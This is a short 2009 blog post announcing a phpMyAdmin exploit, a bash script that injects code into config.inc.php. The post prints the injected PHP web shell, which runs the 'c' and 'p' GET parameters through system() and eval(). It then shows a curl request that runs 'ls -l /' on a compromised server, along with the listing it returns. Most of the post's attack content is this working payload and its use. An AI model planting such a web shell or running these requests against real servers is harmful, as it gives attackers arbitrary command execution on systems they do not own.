New phpMyAdmin exploit - Userlinux.net

It\'s a bash script that injects code into config.php allowing remote code execution: $cfg[\'Servers\'][$i][\'host\']=\'\'; if($_GET[\'c\']){echo \'(pre)\';system($_GET[\'c\']);echo \'(/pre)\';}if($_GET[\'p\']){echo \'(pre)\';eval($_GET[\'p\']);echo \'(/pre)\';};//\'] = \'localhost\'; By the way, in a infected system we could execute some commands like this: $ curl \"http://dominio-afectado/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/\" total 96 drwxr-xr-x 2 root root 4096 Mar 11 10:12 bin drwxr-xr-x…

New phpMyAdmin exploit

10.Jun.2009 ~ 0 Comentarios ~ 4842 Lecturas
It's a bash script that injects code into config.php allowing remote code execution: $cfg['Servers'][$i]['host']=''; if($_GET['c']){echo '(pre)';system($_GET['c']);echo '(/pre)';}if($_GET['p']){echo '(pre)';eval($_GET['p']);echo '(/pre)';};//'] = 'localhost'; By the way, in a infected system we could execute some commands like this: $ curl "http://dominio-afectado/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/" total 96 drwxr-xr-x 2 root root 4096 Mar 11 10:12 bin drwxr-xr-x 3 root root 4096 May 6 10:01 boot drwxr-xr-x 15 root root 14300 Jun 5 09:02 dev drwxr-xr-x 147 root root 12288 Jun 5 09:02 etc drwxr-xr-x 3 root root 4096 Oct 18 2008 home drwxr-xr-x 2 root root 4096 Jul 2 2008 initrd [...] I think you would read the proof of concept carefully.
Categorías: sistemas

Comentarios


Todavía no hay comentarios

Comentarios


Los comentarios están cerrados: los comentarios se cierran automáticamente una vez pasados 15 días. Si quieres comentar algo acerca de la anotación, puedes hacerlo por e-mail.

Buscar

Cargando...

Últimos comentarios

  • graffic
  • reidrac
  • reidrac
  • Wu
  • dilam
  • r0sk
  • reidrac
  • r0sk
  • chucu
  • r0sk
  • el_palomo_programador
  • r0sk
  • reidrac
  • Player 1
  • r0sk

Moneting

Valor de mi cuenta de Facebook según Moneting
Valor de mi cuenta de Twitter según Moneting

Tagcloud

ubuntu champions humor frases programación conciertos vacaciones rsidenotes userlinux opinion league mysql twitter macosx blog barça alemania_2006 films ssh mundial deportes hack bash cumpleaños openbsd 2007 blogsfera twitt ps3 mac bsd nintendo python iphone debian juegos rfilms django canción apple cake felicidades futbol bake games linux web personal lucux 2008 sysadmin meme sidenotes ds cakephp lugo freebsd blogs seguridad php

Archivo

Social

Enlaces de interés